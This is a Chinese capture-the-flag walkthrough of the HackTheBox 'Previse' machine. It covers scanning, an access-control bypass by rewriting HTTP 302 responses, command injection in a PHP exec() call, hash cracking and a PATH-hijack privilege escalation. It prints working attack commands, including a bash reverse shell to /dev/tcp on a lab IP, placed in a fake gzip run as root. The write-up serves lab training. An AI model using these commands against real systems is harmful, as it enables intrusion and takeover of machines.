CTF-Previse HackTheBox渗透测试(五)
2022-10-19 22:58:25 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

CTF-Horizontall HackTheBox 

0X01 

Previse是一个CTF Linux虚拟机,在HackTheBox平台上被评为“初级”。该机器涵盖了绕过访问控制、网站命令注入、哈希破解、通过修改sudoers文件中设定根权限的脚本来升级特权。

0x02 渗透路径

2.1信息收集

·Nmap端口扫描工具

2.2目录列举

·使用gobuster进行目录枚举

·从旧备份中导出网站目录文件

2.3漏洞利用

·利用命令执行漏洞获取反向shell

2.4特权升级

·复制SQL数据库恢复的破解散列

·找到gzip的sudoers中运行root权限

access_backup.sh脚本

·使用自定义代码创建gzip二进制文件,将特权升级到root

0x03 网络扫描

kali虚拟机的专用IP地址是10.12.95.985。我们将在这台机器的IP上运行nmap扫描

nmap -A 10.129.95.185

开放端口是:

·22 端口运行 SSH

·80端口运行一个网站 3.1

3.1  nmap端口扫描

0x04 目录列举

通过80端口我们发现了一个网站。在检查一些页面时,必须经过账号密码登录后才能访问它。 4.1

图4.1 网站登录页面

然后,我们使用gobuster列举了网站上现有的PHP页面4.2

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --url http://10.129.95.185/ -x php

 图4.2目录列取工具对目录爆破

我们发现了一个名为nav.php的页面,页面是该网站的导航页面。在同一页面上,我们发现一个创建帐户页面。4.3

 图4.3账号注册页面

在对创建帐户页面进行小检查后,我们得出结论,所有页面都需要登录后才能访问。因此,我们利用burp suite抓包工具来查看请求,是否可以绕过登录验证。为此,我们设置代理并点击网站获取请求4.4 

图4.4 burp抓包工具请求

拦截完以后我们发送到响应,查看一下这个请求包响应结果4.5 

图4.5 响应页面

发现以后发现由于访问限制,我们无法访问它,并且可以看到状态代码为302。4.6 

图4.6 异常状态码响应页面

所以我们尝试更改状态码,将此302更改为200(状态正常),并将响应转发到我们的浏览器。4.7 

图4.7 修改状态码状态为200

通过修改状态包发现注册页面可正常访问。所以我们使用用户密码raj:123123创建了一个帐户4.8 

图4.8 创建账户页面

然后我们重复了上述步骤。我们绕过此页面上的访问限制,以便成功注册我们的新用户。所以我们将再次拦截请求4.9 

图4.9 抓包绕过权限控制

然后,我们也会再次拦截此请求的响应。4.10 

图4.10 抓包绕过权限控制

由于访问控制,我们再次看到302状态4.11 

图4.11 抓包绕过权限控制

因此,我们将此状态更改为200,并将其转发到我们的浏览器查看页面4.12 

图4.12 修改200绕过权限控制

成功注册后,我们会看到祝贺信息。4.13 

图4.13 注册成功

0x05 漏洞利用

我们使用此帐户登录,可以看到一个仪表板,其中可以实现各种功能。有各种与文件相关的选项。

在文件选项卡上,我们看到一个有趣的提示。似乎这里保存了整个网站的备份。5.1 

图5.1 下载备份文件

在下载和检查其内容时,我们看到了各种PHP文件。在源码里我们审计时发现两个有趣的文件。首先是config.php,发现它是一个数据库链接配置文件5.2 

图5.2 数据库配置文件

这个文件里存储了MySQL密码,而另一个文件file_logs.php存在代码逻辑缺陷,存在命令命令漏洞。5.3 

图5.3 命令注入代码缺陷

正如我们审计时发现,网站存在命令注入漏洞,因为file_logs.php文件代码未经编辑过滤的exec()函数。关联的网页显示一个下拉菜单,用于为参数“delim”选择值5.4  

图5.4 命令注入代码缺陷

因此,我们在打burp suite中拦截请求,并在netcat输入反向shell监听,作为执行系统命令的exec()函数的附加参数。5.5  

图5.5 命令注入执行nc命令

在我们的监听那里,我们收到了一个反向外壳。我们使用python one liner将其转换为更稳定的bash shell5.6 

python3 -c “import pty;pty.spawn(‘/bin/bash’)”

图5.6 nc反弹shell

0x06 权限提升

我们检查了本地文件系统,但没有任何有价值的东西。然后我们还记得前面获得了SQL账号密码,因此,我们登录了SQL,并存储了用户m4lwhere的密码。6.1 

图6.1 连接mysql数据库

我们使用hashcat破解这个账户密码,并获得了密码:ilovecody1122356.2 

hashcat -m 500 hash Desktop/rockyou.txt

图6.2 破解数据库某账号密码

我们通过获得的SSH账号密码进入此虚拟机,并检查了sudoers文件。有人指出,脚本access_backup.sh可以由用户m4l作为root运行。在检查此脚本时,我们发现正在使用gzip。6.3 

ssh [email protected]
cat user.txt
sudo -l
cat /opt/scripts/access_backup.sh

图6.3 查看root运行文件

因此,我们创建一个名为gzip的可执行文件,并输入bash单行反向监听。之后,我们赋予了它可执行权限,在PATH变量中添加当前目录,并在设置反向shell监听器运行脚本。6.4 

nano gzip
#!/bin/bash
bash -I >& /dev/tcp/10.10.14.104/1234 0>&1
chmod +x gzip
export PATH=/home/m4lwhere:$PATH
sudo /opt/scripts/access_backup.sh

图6.4 编辑root权限文件

通过监听器我们看到我们已经拿到root权限shell。6.5 

图6.5 权限提升root权限

0x07 

SSRFPython

稿VulnStackVulnhubHTB

Hvv

稿&

annapeng2021@163.com

hacker

  

 jia  

红日安全出品|转载请注明来源

使

   


文章来源: https://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649851413&idx=1&sn=f3d566e0f17c4c97cae65ea4690cb3a8&chksm=f3e4e896c493618002504f3e48922a843deb6565f78207b0490260e09b6c1bdb4f229ed2ce78&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh